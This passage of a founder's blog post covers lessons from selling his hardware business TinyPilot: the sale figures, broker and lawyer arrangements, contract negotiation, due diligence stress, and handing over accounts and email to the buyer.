&lt;li>&lt;a href="#used-dedicated-accounts-for-the-business">Used dedicated accounts for the business&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#what-ill-do-differently-in-the-future">What I&amp;rsquo;ll do differently in the future&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#offer-incentives-for-a-cash-buyer">Offer incentives for a cash buyer&lt;/a>&lt;/li>
&lt;li>&lt;a href="#discuss-key-contract-terms-earlier-in-the-process">Discuss key contract terms earlier in the process&lt;/a>&lt;/li>
&lt;li>&lt;a href="#begin-working-with-a-lawyer-earlier">Begin working with a lawyer earlier&lt;/a>&lt;/li>
&lt;li>&lt;a href="#create-an-unofficial-small-stuff-agreement-with-the-buyer">Create an unofficial &amp;ldquo;small stuff agreement&amp;rdquo; with the buyer&lt;/a>&lt;/li>
&lt;li>&lt;a href="#announce-the-sale-to-my-team-later">Announce the sale to my team later&lt;/a>&lt;/li>
&lt;li>&lt;a href="#dont-catastrophize-every-setback">Don&amp;rsquo;t catastrophize every setback&lt;/a>&lt;/li>
&lt;li>&lt;a href="#reveal-vendors-earlier-but-put-tighter-restrictions-in-the-loi">Reveal vendors earlier, but put tighter restrictions in the LOI&lt;/a>&lt;/li>
&lt;li>&lt;a href="#eliminate-inventory-from-the-brokers-commission">Eliminate inventory from the broker&amp;rsquo;s commission&lt;/a>&lt;/li>
&lt;li>&lt;a href="#assume-from-the-start-that-nothing-written-is-private">Assume from the start that nothing written is private&lt;/a>&lt;/li>
&lt;li>&lt;a href="#define-what-happens-to-money-flows-around-the-time-of-closing">Define what happens to money flows around the time of closing&lt;/a>&lt;/li>
&lt;li>&lt;a href="#in-the-transition-agreement-value-calendar-days-more-than-work-hours">In the transition agreement, value calendar days more than work hours&lt;/a>&lt;/li>
&lt;li>&lt;a href="#disconnect-non-transferable-accounts-from-business-email-before-closing">Disconnect non-transferable accounts from business email before closing&lt;/a>&lt;/li>
&lt;li>&lt;a href="#take-even-fewer-dependencies-on-google">Take even fewer dependencies on Google&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#what-surprised-me">What surprised me&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#due-diligence-is-unbounded-high-stress-work">Due diligence is unbounded, high-stress work&lt;/a>&lt;/li>
&lt;li>&lt;a href="#as-you-prepare-to-sell-everything-costs-4x-as-much">As you prepare to sell, everything costs 4x as much&lt;/a>&lt;/li>
&lt;li>&lt;a href="#you-dont-strictly-need-a-broker-to-sell">You don&amp;rsquo;t strictly need a broker to sell&lt;/a>&lt;/li>
&lt;li>&lt;a href="#if-the-non-compete-is-too-restrictive-youre-screwed">If the non-compete is too restrictive, you&amp;rsquo;re screwed&lt;/a>&lt;/li>
&lt;li>&lt;a href="#if-theres-no-cap-on-liability-youre-screwed">If there&amp;rsquo;s no cap on liability, you&amp;rsquo;re screwed&lt;/a>&lt;/li>
&lt;li>&lt;a href="#buyers-have-incentive-to-keep-the-seller-happy">Buyers have incentive to keep the seller happy&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#resources-that-helped-me-prepare">Resources that helped me prepare&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="details-of-the-sale">Details of the sale&lt;/h2>
&lt;ul>
&lt;li>Sale price: $598,000 (2.4x annual earnings)&lt;/li>
&lt;li>Broker commission: $88,900&lt;/li>
&lt;li>Legal fees: $18,297&lt;/li>
&lt;li>My profit from the sale: $490,803&lt;/li>
&lt;li>Payment terms: Full cash payment at closing (no earnout, no seller financing)&lt;/li>
&lt;li>Seller obligations: 30 days of free consulting (max of 80 hours total)&lt;/li>
&lt;li>Lifetime profit from business (including final sale): $920k over four years&lt;/li>
&lt;/ul>
&lt;h2 id="what-im-glad-i-did">What I&amp;rsquo;m glad I did&lt;/h2>
&lt;h3 id="invested-heavily-in-documentation">Invested heavily in documentation&lt;/h3>
&lt;p>Before I started my first business six years ago, I read the book &lt;a href="https://builttosell.com/">&lt;em>Built to Sell&lt;/em>&lt;/a> by John Warrilow. It encourages founders to build businesses that run smoothly without the founder actively managing day-to-day activities. An effective company should have a set of well-defined processes and a team that knows how to execute them.&lt;/p>
&lt;p>I&amp;rsquo;ve always loved reproducible processes, so when I started building the team for TinyPilot, I invested in documentation. Rather than train people in person or on video calls, I wrote playbooks in our Notion workspace. If we ran into issues with our playbooks, we&amp;rsquo;d revise them to reduce errors in the future. When new team members joined, they&amp;rsquo;d onboard via the same playbooks, and we&amp;rsquo;d continuously improve them.&lt;/p>
&lt;p>After I sold TinyPilot, the contract called for a 30-day transition period, during which I would provide up to 80 hours of consulting time. The buyer only needed about 25 hours. The team already knew how to run the day-to-day of TinyPilot, and the buyer had access to all of our documentation. Most of my time post-transition was just introducing the new owner to the team and our key vendors.&lt;/p>
&lt;h3 id="created-a-transition-checklist">Created a transition checklist&lt;/h3>
&lt;p>As I prepared the company for sale, I started a checklist of everything I wanted to do before selling. It included things like deleting obsolete playbooks and ensuring that all of our account credentials were in the company Bitwarden account.&lt;/p>
&lt;p>As we entered due diligence, I expanded this checklist to include things that would need to happen during the transition. I split the checklist into four categories:&lt;/p>
&lt;ul>
&lt;li>Things that must happen before closing&lt;/li>
&lt;li>Things that must happen a day or two after closing&lt;/li>
&lt;li>Things that should happen within the first week after closing&lt;/li>
&lt;li>Things that should happen within the first month after closing&lt;/li>
&lt;/ul>
&lt;p>The checklist turned out to be extremely valuable, especially the week of the closing. So many accounts were changing hands, and processes needed tweaking for the new owner, so it was helpful to have a checklist I created in calmer times.&lt;/p>
&lt;h3 id="worked-with-a-broker-i-trusted">Worked with a broker I trusted&lt;/h3>
&lt;p>I used to have a negative view of M&amp;amp;A brokers. When I thought &amp;ldquo;broker,&amp;rdquo; I imagined someone who just wanted to close deals as quickly as possible and didn&amp;rsquo;t care about anything else. I imagined them saying things like, &amp;ldquo;Let&amp;rsquo;s bottom line this,&amp;rdquo; or &amp;ldquo;Time for Jäger bombs!&amp;rdquo;&lt;/p>
&lt;p>When I attended Microconf in 2023, I met Chris Guthrie, an advisor at &lt;a href="https://quietlight.com/">Quiet Light Brokerage&lt;/a>. He immediately came across as laid-back, low-pressure, and founder-focused. He was a former founder, and he emphasized the importance of finding the best deal for the founder, not necessarily the quickest payout.&lt;/p>
&lt;p>I appreciated working with Quiet Light because our incentives felt aligned throughout the process. The pool of bootstrapped founders looking for M&amp;amp;A brokers is small and relatively tight-knit, so Quiet Light has natural pressure to maintain a positive reputation.&lt;/p>
&lt;p>In discussions about the sale, some people &lt;a href="https://news.ycombinator.com/item?id=40515107">balked&lt;/a> at Quiet Light&amp;rsquo;s $89k fee, as it represented 15% of the sale price. I still think that was a fair commission, as they found me a buyer I couldn&amp;rsquo;t have found on my own and kept the deal on track throughout the process.&lt;/p>
&lt;h3 id="avoided-seller-financing">Avoided seller financing&lt;/h3>
&lt;p>I didn&amp;rsquo;t need cash desperately, so I was initially open to a buyer paying me in installments over several years. When I spoke to other founders, they warned me away from seller financing. As one founder put it:&lt;/p>
&lt;blockquote>
&lt;p>If you finance the purchase yourself, you now work for the buyer.&lt;/p>&lt;/blockquote>
&lt;p>I was puzzled. How does financing the sale mean I work for the buyer?&lt;/p>
&lt;p>The founder explained that you don&amp;rsquo;t get paid unless the business makes money, and the new owner knows that. The new owner can push management responsibilities onto you, knowing that if the business fails, you can&amp;rsquo;t collect your debt.&lt;/p>
&lt;p>The other risk of seller financing is that I, as a small lender, don&amp;rsquo;t have tools or experience to collect a loan if a buyer defaults. The buyer might decide they simply don&amp;rsquo;t feel like paying me even if they have the cash on hand. For a deal that&amp;rsquo;s under $1M, I&amp;rsquo;d probably spend more in legal fees than I could hope to collect from an unscrupulous buyer.&lt;/p>
&lt;p>I would have been open to seller financing had there been no other options available, but it would be a red flag to me that the buyer couldn&amp;rsquo;t secure a loan from a bank. Further, I&amp;rsquo;d need to charge well above prevailing interest rates because my risk would be higher than a bank&amp;rsquo;s.&lt;/p>
&lt;h3 id="assumed-id-get-nothing-after-closing">Assumed I&amp;rsquo;d get nothing after closing&lt;/h3>
&lt;p>From talking to other founders about their exits, most people seemed disappointed with the payments they were supposed to receive after closing. In some cases, the buyer failed to honor the contract, but it was too small an amount to litigate. In other cases, the new owner used creative bookkeeping to avoid paying performance-based bonuses.&lt;/p>
&lt;p>The advice I heard consistently was to structure the deal so that if I got nothing after closing, I&amp;rsquo;d still be happy. I should treat anything after closing as an unexpected bonus.&lt;/p>
&lt;p>The buyer and I did send some money back and forth after closing to account for little costs that we forgot to include in the deal, and that went smoothly. These amounts were a tiny part of the overall transaction, less than $5k. Had the buyer refused to pay, I would have been frustrated, but it would have been easy to move on.&lt;/p>
&lt;h3 id="recognized-the-limits-of-my-influence-on-the-business-post-close">Recognized the limits of my influence on the business post-close&lt;/h3>
&lt;p>One of the most important criteria for the sale was finding a new owner who wanted to continue investing in the product, the team, and our customers.&lt;/p>
&lt;p>I asked other founders for advice on avoiding a buyer who&amp;rsquo;s out to gut the company and squeeze everything for short-term profits. Their advice was that I can&amp;rsquo;t control what the new owner does after closing, so I shouldn&amp;rsquo;t think about it.&lt;/p>
&lt;p>It&amp;rsquo;s true that I can&amp;rsquo;t control how the new owner runs their business, but it&amp;rsquo;s possible to screen out risky buyers. For example, if a private equity company like Idera approached me, I&amp;rsquo;d notice that they have a history of buying companies and &lt;a href="https://news.ycombinator.com/item?id=19218036">laying off their staff&lt;/a>, so I&amp;rsquo;d have a good guess about their plans for TinyPilot.&lt;/p>
&lt;p>I looked for buyers whose vision for the company aligned with mine, but I also recognized that my influence over the company ended on closing day.&lt;/p>
&lt;p>The new owner runs the business his own way, but his approach matches what we discussed about his vision for the company. I didn&amp;rsquo;t guarantee this outcome, but I think screening buyers increased my odds to some degree.&lt;/p>
&lt;h3 id="revised-the-broker-agreement-so-that-the-broker-gets-paid-when-i-get-paid">Revised the broker agreement so that the broker gets paid when I get paid&lt;/h3>
&lt;p>The first draft of Quiet Light&amp;rsquo;s broker agreement said that their fee is a percentage of the purchase price, and it&amp;rsquo;s due at closing.&lt;/p>
&lt;p>The problem was that I, as the seller, may not receive the full purchase price at closing. I sign with the broker well before I know the terms of any deal they might find for me.&lt;/p>
&lt;p>If the purchase agreement involved deferred payment, I&amp;rsquo;d have to pay Quiet Light upfront and wait several years until I received my full payout. Worse, if the buyer failed to make payment after closing, I&amp;rsquo;d have paid a broker commission on money I never received.&lt;/p>
&lt;p>I requested that Quiet Light revise their broker agreement to say that they only get paid when I get paid, and they quickly agreed.&lt;/p>
&lt;p>I was relieved that they were willing to adjust the contract, as the new payment terms kept incentives aligned between me and Quiet Light. They&amp;rsquo;d have just as much desire to push back against deferred payments as I would.&lt;/p>
&lt;h3 id="discussed-contentious-issues-without-lawyers-first">Discussed contentious issues without lawyers first&lt;/h3>
&lt;p>The buyer&amp;rsquo;s attorney drafted the asset purchase agreement for the sale rather than using a pre-made template from the broker. For the most part, we agreed on the initial draft, but there were a few key terms where we had different expectations.&lt;/p>
&lt;p>We could have each told our lawyers what we wanted and had them hash it out, but lawyers get expensive fast — mine was $550/hr.&lt;/p>
&lt;p>Lawyers also slow down the process. The buyer and I could usually arrange to meet within one business day, whereas it would have taken a week to arrange a meeting with both of our lawyers. For a process that already felt long at three months, every day mattered.&lt;/p>
&lt;p>When the buyer and I ran into disagreements in the contract, we&amp;rsquo;d first talk one-on-one. In these conversations, my goal was to go past the contract terms and find out the underlying need.&lt;/p>
&lt;p>For example, the first draft of the contract called for tight restrictions on discussing the sale publicly. I spoke with the buyer about why the clause was there, and it turned out that there were only a few things the buyer cared about keeping private. We adjusted the wording from &amp;ldquo;you can&amp;rsquo;t discuss anything publicly&amp;rdquo; to &amp;ldquo;you can&amp;rsquo;t discuss &lt;a href="https://mtlynch.io/i-sold-tinypilot/#what-am-i-allowed-to-say">these two specific things&lt;/a> publicly,&amp;rdquo; and we both felt good about the compromise.&lt;/p>
&lt;h3 id="used-dedicated-accounts-for-the-business">Used dedicated accounts for the business&lt;/h3>
&lt;p>Part of what made TinyPilot&amp;rsquo;s ownership handoff smooth was that its accounts and infrastructure were totally separate from my other business and personal accounts:&lt;/p>
&lt;ul>
&lt;li>I always sent emails related to the business from my @tinypilotkvm.com email address.&lt;/li>
&lt;li>I always used @tinypilotkvm.com email addresses whenever signing up for services on behalf of TinyPilot.&lt;/li>
&lt;li>I kept TinyPilot&amp;rsquo;s email in a dedicated Fastmail account.
&lt;ul>
&lt;li>This wasn&amp;rsquo;t true at the beginning. TinyPilot originally shared a Fastmail account with my other businesses, but I eventually migrated it to its own standalone Fastmail account.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I never associated my personal phone number with TinyPilot. Instead, I always used a dedicated Twilio number that forwarded to my real number.&lt;/li>
&lt;li>All account credentials were in Bitwarden.&lt;/li>
&lt;/ul>
&lt;p>After closing, handing over control was extremely straightforward. I just added the new owner to Bitwarden, and they took over from there. There were a few hiccups around 2FA codes I&amp;rsquo;d forgotten to put in Bitwarden, but we worked those out quickly.&lt;/p>
&lt;h2 id="what-ill-do-differently-in-the-future">What I&amp;rsquo;ll do differently in the future&lt;/h2>
&lt;h3 id="offer-incentives-for-a-cash-buyer">Offer incentives for a cash buyer&lt;/h3>
&lt;p>The last time I bought a house, I requested a 10-day inspection period. I wanted to do standard checks with an inspector and an electrician before completing the purchase.&lt;/p>
&lt;p>The homeowner pushed back and asked me to limit the inspection period to seven days. They were worried about the cost of keeping the house off the market for an extra three days.&lt;/p>
&lt;p>And that&amp;rsquo;s a house! Its price is far more stable than a small business.&lt;/p>
&lt;p>I didn&amp;rsquo;t realize how much it would cost to take my business off the market for three whole months.&lt;/p>
&lt;p>Three months of due diligence meant three months where I was distracted from the business and spent 50% of my time on the sale itself. It also disincentivized long-term investments, as they&amp;rsquo;d reduce short-term profits and deflate the company&amp;rsquo;s valuation.&lt;/p>
&lt;p>One of the biggest factors for closing time is how the buyer finances the purchase. In TinyPilot&amp;rsquo;s case, the buyer used a loan from the &lt;a href="https://www.sba.gov/">US Small Business Administration (SBA)&lt;/a>, which typically involves three to five months of paperwork and approvals. For TinyPilot, the time from signing the letter of intent to closing day was three months, so we were on the quicker side, but it still felt dreadfully slow.&lt;/p>
&lt;p>The other subtlety of a bank loan is that it complicates the closing contract, which means you spend more on lawyers. Working through the requirements from the bank and the SBA probably consumed $10k in lawyer time on each side, so even if I accepted a lower price from a cash buyer, I&amp;rsquo;d make some of it back by reducing closing costs.&lt;/p>
&lt;p>Cash deals involve fewer decision-makers and require less paperwork and bureaucracy. I&amp;rsquo;ve heard of cash deals closing in 30 days or less.&lt;/p>
&lt;p>If I sell another business, I plan to offer incentives that make it easier for the buyer to purchase in cash. I could offer a discount for a cash purchase or make other accommodations to attract buyers who can purchase in cash and make a fast close.&lt;/p>
&lt;h3 id="discuss-key-contract-terms-earlier-in-the-process">Discuss key contract terms earlier in the process&lt;/h3>
&lt;p>The most stressful part of the sale was the contract negotiations, and I&amp;rsquo;m still not sure how to do it better.&lt;/p>
&lt;p>I didn&amp;rsquo;t see the first draft of the contract until five weeks into due diligence. By that point, I felt like I was already in a terrible negotiating position. I&amp;rsquo;d invested so much time and revealed so much during due diligence that I felt exhausted and afraid of starting the whole process over with a new buyer.&lt;/p>
&lt;p>It would be wonderful if the buyer had to present the entire purchase agreement at the letter of intent stage. That way, if I saw terms I didn&amp;rsquo;t like, I could request adjustments before ever taking TinyPilot off the market or participating in due diligence.&lt;/p>
&lt;p>The problem is that buyers don&amp;rsquo;t want to spend thousands of dollars of lawyer time drafting a purchase agreement before they&amp;rsquo;ve gotten some commitment from the seller.&lt;/p>
&lt;p>What I&amp;rsquo;ll try next time is to negotiate a few terms I care about at the letter of intent stage. I&amp;rsquo;d want to include things like:&lt;/p>
&lt;ul>
&lt;li>Short transition time&lt;/li>
&lt;li>Limited restrictions on confidentiality&lt;/li>
&lt;li>Seller liability is limited to 50% of the sale price&lt;/li>
&lt;/ul>
&lt;h3 id="begin-working-with-a-lawyer-earlier">Begin working with a lawyer earlier&lt;/h3>
&lt;p>When I started talking with a broker, I also found an M&amp;amp;A law firm to represent me in the sale. The lawyer reviewed the broker agreement, but I didn&amp;rsquo;t reach out to them again until I had the purchase agreement from the buyer.&lt;/p>
&lt;p>I never asked my lawyer to review the letter of intent, as I figured there wasn&amp;rsquo;t much value in paying a lawyer to review something that wasn&amp;rsquo;t legally binding in the first place.&lt;/p>
&lt;p>In retrospect, it would have been helpful to involve my lawyer at that stage, as the letter of intent sets a baseline for the purchase agreement.&lt;/p>
&lt;p>Had I met with my lawyer earlier, they also would have helped me with other due diligence tasks like reviewing my existing contracts and gathering documents the buyer or lender would request later.&lt;/p>
&lt;p>Working with a lawyer at the letter of intent stage also would have been a good opportunity to find out if I liked working with my lawyer. I ended up feeling dissatisfied with mine, but by the time I saw the issues, it was too late to replace him.&lt;/p>
&lt;h3 id="create-an-unofficial-small-stuff-agreement-with-the-buyer">Create an unofficial &amp;ldquo;small stuff agreement&amp;rdquo; with the buyer&lt;/h3>
&lt;p>TinyPilot had a physical office that was a short drive from my house but a plane ride from the buyer, so they didn&amp;rsquo;t want to keep it.&lt;/p>
&lt;p>We had about $1k worth of equipment in the office, but the value was spread over so many small items that the cost of liquidating it would cancel out whatever proceeds we&amp;rsquo;d collect. For example, we could sell our printer for $40, but the cost of interrupting an employee&amp;rsquo;s normal work to sell a printer is higher than $40.&lt;/p>
&lt;p>Still, the stuff in TinyPilot&amp;rsquo;s office was a business asset, so the buyer and I felt like we had to define in the asset purchase agreement what should happen to it. We spent several hours enumerating everything of value in the office, working out a timeline of when the buyer would clear it from the office, and how long I&amp;rsquo;d extend the lease to facilitate that. The buyer and I probably spent $2k on lawyer hours trying to work out how to handle $1k worth of stuff that neither of us wanted.&lt;/p>
&lt;p>If I were to do this again, I&amp;rsquo;d propose to the buyer a &amp;ldquo;small stuff agreement.&amp;rdquo; This would sit outside of the official legal documents and maybe have some header at the top saying, &amp;ldquo;Nothing in here is a real legal agreement.&amp;rdquo; And that&amp;rsquo;s where we could define things where we need to decide &lt;em>something&lt;/em>, but the stakes are so small that if one side breaches the agreement, it wouldn&amp;rsquo;t matter.&lt;/p>
&lt;h3 id="announce-the-sale-to-my-team-later">Announce the sale to my team later&lt;/h3>
&lt;p>When should an owner announce a potential acquisition to their team?&lt;/p>
&lt;p>If you keep the sale a secret until the deal closes, you&amp;rsquo;re effectively lying to your team.&lt;/p>
&lt;p>If you&amp;rsquo;re completely transparent about the sale, you bear enormous risk. Members of the team might threaten to leave unless you offer them bonuses or promotions. Or the looming sale might kill their motivation and tank their job performance.&lt;/p>
&lt;p>I had a good relationship with every member of TinyPilot&amp;rsquo;s team, so I didn&amp;rsquo;t think anyone would use my candor against me in bargaining. That said, people do unexpected things when a relationship is about to end.&lt;/p>
&lt;p>I chose to reveal the sale to the team at the earliest formal step of the process: when I signed the agreement to begin working with my broker. That ended up being six months before closing.&lt;/p>
&lt;p>I regret that decision &lt;em>slightly&lt;/em>.&lt;/p>
&lt;p>Nothing catastrophic happened, but announcing the sale affected management dynamics in certain cases and made it harder to work with employees on performance issues.&lt;/p>
&lt;p>To the team, an acquisition meant the new owner could fire them or drastically change their role. If they wanted to interfere with the sale, they could scare off a buyer and slice $50-100k off the valuation. Worse, they could delay the sale and leave me in a position where I&amp;rsquo;m managing the company, trying to prepare it for sale, and &lt;a href="https://mtlynch.io/i-sold-tinypilot/#whats-next">caring for a newborn&lt;/a> all at the same time.&lt;/p>
&lt;p>I didn&amp;rsquo;t want a bad outcome for anyone, but the worst case for me was significantly worse than the worst case for any other member of the team.&lt;/p>
&lt;p>If I do this again, I&amp;rsquo;d wait to tell my team about the sale until it&amp;rsquo;s a done deal, but I&amp;rsquo;d also make sure the team knows that an acquisition is always a possibility. I&amp;rsquo;d explain before I even start looking for a buyer that an acquisition might happen, and that the team won&amp;rsquo;t necessarily know it&amp;rsquo;s happening. If it did, I&amp;rsquo;d prioritize a buyer whose vision aligns with the team&amp;rsquo;s interests, as I did with TinyPilot.&lt;/p>
&lt;p>This strategy is not ideal or fair to everyone, but it feels like the least bad of many flawed options.&lt;/p>
&lt;h3 id="dont-catastrophize-every-setback">Don&amp;rsquo;t catastrophize every setback&lt;/h3>
&lt;p>I found the due diligence process quite stressful and demoralizing, but I made it even harder on myself by catastrophizing everything.&lt;/p>
&lt;p>Every time there was even a potential obstacle in negotiations, I began imagining exactly how this obstacle would ruin everything. I&amp;rsquo;d ruminate about the bad outcome so much that I&amp;rsquo;d feel like it already happened, and the deal was dead.&lt;/p>
&lt;p>For example, TinyPilot uses the H.264 video encoding algorithm. It&amp;rsquo;s patented, so we had to get a license from the patent holder before we shipped that feature. During due diligence, we discovered that the patent license forbade me from transferring the license in an asset sale.&lt;/p>
&lt;p>I immediately started imagining the worst possible outcome. What if the patent holder realizes they can block the sale, and they demand I pay them $100k? What if the patent holder just can&amp;rsquo;t be bothered to deal with a tiny business like mine, and they block the sale out of sheer indifference?&lt;/p>
&lt;p>I played out negative scenarios all day, and it kept me awake for hours that night.&lt;/p>
&lt;p>The next morning, the buyer emailed to say they&amp;rsquo;d already heard back from the patent owner. The wheels were in motion for a new license. I&amp;rsquo;d freaked out when there was no evidence of a problem in the first place.&lt;/p>
&lt;p>If I sell a company in the future, I hope to worry less about potential disasters. I need to remember to sleep on things and see how they feel in the morning.&lt;/p>
&lt;h3 id="reveal-vendors-earlier-but-put-tighter-restrictions-in-the-loi">Reveal vendors earlier, but put tighter restrictions in the LOI&lt;/h3>
&lt;p>An experienced founder advised me to withhold the names of TinyPilot&amp;rsquo;s critical vendors until after the deal closed. They explained that you can force the buyer to sign something promising not to use the information if the deal falls through, but it&amp;rsquo;s hard to enforce that on small-scale deals. The only way to protect the information is not to share it at all.&lt;/p>
&lt;p>I withheld the names of my vendors, but I wouldn&amp;rsquo;t do it again.&lt;/p>
&lt;p>As part of due diligence, I had to share the last two years of TinyPilot&amp;rsquo;s bank statements. Our vendor&amp;rsquo;s names appeared frequently in the statements, so I had to go through a hundred PDFs searching for each vendor&amp;rsquo;s name, manually drawing black rectangles over them, and rasterizing the PDF to prevent leaks in the metadata.&lt;/p>
&lt;p>A few days later, I sent an inventory report to the buyer and was horrified when he replied, &amp;ldquo;Who&amp;rsquo;s FooCorp?&amp;rdquo;&lt;/p>
&lt;p>&amp;ldquo;FooCorp&amp;rdquo; (not their real name) was the very web-searchable name of TinyPilot&amp;rsquo;s electrical engineering vendor. I forgot that the report mentioned them, so I didn&amp;rsquo;t redact it before sending.&lt;/p>
&lt;p>And then just a few weeks later, the buyer&amp;rsquo;s bank firmly insisted on seeing vendor names, so I had to reveal everything anyway.&lt;/p>
&lt;p>If I sell a business in the future, my strategy will be to create a contract that forbids the buyer from acting on insider secrets they learn in due diligence. I&amp;rsquo;d guard trade secrets more carefully if I were selling to a competitor, but my default would be to rely on the contract to discourage bad behavior.&lt;/p>
&lt;p>Hiding the names of key vendors makes due diligence so much harder. On top of all the contortions to withhold information, missing a single redaction can undo hours of tedious work.&lt;/p>
&lt;h3 id="eliminate-inventory-from-the-brokers-commission">Eliminate inventory from the broker&amp;rsquo;s commission&lt;/h3>
&lt;p>My only regret about my broker agreement with Quiet Light was that their commission included the value of TinyPilot&amp;rsquo;s inventory at the time of the sale.&lt;/p>
&lt;p>The value of TinyPilot&amp;rsquo;s inventory could vary by a factor of four depending on where we were in the manufacturing cycle. It makes no sense to pay the broker $20k if my inventory happens to be high vs. $5k if my inventory is low.&lt;/p>
&lt;p>Worse, I was selling my inventory to the buyer at cost. It&amp;rsquo;s not like the broker can negotiate a great price on my unsold inventory and earn their commission that way. If I have $100k in inventory, I only receive $90k for it after paying the broker their commission. The more inventory I had, the more money I&amp;rsquo;d lose in the sale.&lt;/p>
&lt;p>That said, I got lucky, and the deal closed when TinyPilot&amp;rsquo;s inventory was at its ideal level for the sale. On closing day, we were a couple of weeks away from placing our next manufacturing order for the subsequent eight months. That was perfect because we were low but not so low that the new buyer was coming in understocked. On top of that, there&amp;rsquo;s wiggle room in calculating inventory value for the broker fee, and Quiet Light calculated it in a way that was especially generous to me.&lt;/p>
&lt;p>Still, the broker fee on inventory was one more layer that made timing stressful. If the deal had stretched out another month, I&amp;rsquo;d have lost $10k on additional broker fees for the inventory.&lt;/p>
&lt;p>If I do this again, I&amp;rsquo;ll push the broker to eliminate inventory from the fee, even if it means giving them a higher percentage of the sale price.&lt;/p>
&lt;h3 id="assume-from-the-start-that-nothing-written-is-private">Assume from the start that nothing written is private&lt;/h3>
&lt;p>The acquisition was for TinyPilot&amp;rsquo;s assets, including all company emails. This seemed reasonable, as a lot of institutional knowledge is buried in old emails.&lt;/p>
&lt;p>As I started thinking more about the sale, I realized that some of my email would be complicated to hand over. What if an employee had said something that was personal and private?&lt;/p>
&lt;p>As a fictional example, imagine I had an email from an employee that said, &amp;ldquo;Ever since my father died, I&amp;rsquo;ve been struggling with anxiety and depression, and I&amp;rsquo;ve been feeling unproductive.&amp;rdquo; That email would be to Michael, their human co-worker, not Michael, the corporate owner of TinyPilot&amp;rsquo;s email assets. It felt strange and cold to sell that email to the new buyer.&lt;/p>
&lt;p>Fortunately, I worked out an agreement between the buyer and the team that before closing, anyone could flag private, personal emails, and I&amp;rsquo;d purge them before closing.&lt;/p>
&lt;p>There were also other sensitive emails, like conversations with my lawyer about the acquisition itself. I didn&amp;rsquo;t want the buyer to see our private discussions even after the sale was complete, so the purchase agreement excluded those emails from the sale.&lt;/p>
&lt;p>In the future, I&amp;rsquo;d make two changes in how I approach emails in my business:&lt;/p>
&lt;ul>
&lt;li>Make sure everyone on the team understands that in the case of an acquisition, any emails and meeting notes will transfer to the new buyer.&lt;/li>
&lt;li>When working with lawyers and brokers on the sale itself, do it from a separate email account from the business I&amp;rsquo;m selling.&lt;/li>
&lt;/ul>
&lt;h3 id="define-what-happens-to-money-flows-around-the-time-of-closing">Define what happens to money flows around the time of closing&lt;/h3>
&lt;p>When we reached closing day, we realized the contract left a lot of ambiguity around who&amp;rsquo;s entitled to money flowing in and out of the business around the time of the closing:&lt;/p>
&lt;ul>
&lt;li>How do you split bills for services that straddle the closing (e.g., a monthly charge that will be billed again a week after closing)?&lt;/li>
&lt;li>What happens to money in PayPal or Shopify that hasn&amp;rsquo;t yet transferred to your bank?&lt;/li>
&lt;li>Who pays when a customer purchases before closing but requests a refund after closing?&lt;/li>
&lt;li>Who receives revenue from sales on closing day?&lt;/li>
&lt;li>Who pays employees for work on closing day?&lt;/li>
&lt;li>Who pays fees associated with closing (e.g., escrow fees)?&lt;/li>
&lt;/ul>
&lt;p>The buyer and I found amicable resolutions for everything after the fact, but I wish we had answered these questions more explicitly in the closing contract.&lt;/p>
&lt;h3 id="in-the-transition-agreement-value-calendar-days-more-than-work-hours">In the transition agreement, value calendar days more than work hours&lt;/h3>
&lt;p>Most acquisitions have terms around how much work the seller agrees to do after the sale to help the buyer with the post-close transition.&lt;/p>
&lt;p>My initial offer to the buyer was that I&amp;rsquo;d do free consulting for two weeks after the closing for up to 40 hours per week. After that, he could purchase consulting hours from me at $180/hr for up to 10 hours per week.&lt;/p>
&lt;p>The buyer counteroffered 30 days of free consulting with a maximum of 80 hours total. That is, the same total hours stretched over a longer period.&lt;/p>
&lt;p>I knew a longer transition period would be a better deal for the buyer, but I didn&amp;rsquo;t realize how much it would cost me.&lt;/p>
&lt;p>Even though I was available for 40 hours per week, the buyer couldn&amp;rsquo;t really use all of those hours. He&amp;rsquo;s taking over a team of six employees and learning to run everything, so it&amp;rsquo;s hard for him to direct my time enough to fill 40 hours per week right out of the gate.&lt;/p>
&lt;p>I ended up only working about 10 hours per week, but there was still a high cost to me being available every workday for 30 days. There was nothing in the contract about how quickly I had to respond to emails, but I checked my TinyPilot inbox every hour or so. If I did two hours of transition work in a day, it was often spread into several 30-minute chunks, so I didn&amp;rsquo;t get much else done.&lt;/p>
&lt;h3 id="disconnect-non-transferable-accounts-from-business-email-before-closing">Disconnect non-transferable accounts from business email before closing&lt;/h3>
&lt;p>Sales below $1M are usually asset sales, meaning that the buyer is purchasing assets from the business but not the business itself. So, I technically still own a company called TinyPilot, but I transferred all of its physical and intellectual property to the new owner.&lt;/p>
&lt;p>The few assets I kept were TinyPilot&amp;rsquo;s banking and payroll accounts, as they&amp;rsquo;re bound to the LLC itself. The problem was that I forgot to change the email address on those accounts before I handed over control of TinyPilot&amp;rsquo;s email to the new buyer, so they still had &lt;code>@tinypilotkvm.com&lt;/code> emails.&lt;/p>
&lt;p>I worked with the new owner to fix the email address on those accounts, but I wish I&amp;rsquo;d done it myself before transferring TinyPilot&amp;rsquo;s email.&lt;/p>
&lt;h3 id="take-even-fewer-dependencies-on-google">Take even fewer dependencies on Google&lt;/h3>
&lt;p>All of TinyPilot&amp;rsquo;s account credentials were in Bitwarden, so transferring ownership of accounts was smooth. I just added the new owner as an admin in our Bitwarden organization, and he took possession of all the accounts.&lt;/p>
&lt;p>The one account that couldn&amp;rsquo;t transfer over was Google. I used Google Cloud Platform for some TinyPilot services, and I had a dedicated TinyPilot GCP project, but it was within my personal Google account.&lt;/p>
&lt;p>There&amp;rsquo;s a big &amp;ldquo;Migrate&amp;rdquo; button at the top of the GCP project settings page, so I naïvely thought pushing that button would let me — I don&amp;rsquo;t know, &lt;em>migrate&lt;/em> the project to the new owner&amp;rsquo;s GCP account.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 574px">



 &lt;a href="https://mtlynch.io/lessons-from-my-first-exit/gcp-migrate.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 574px, 98vw"
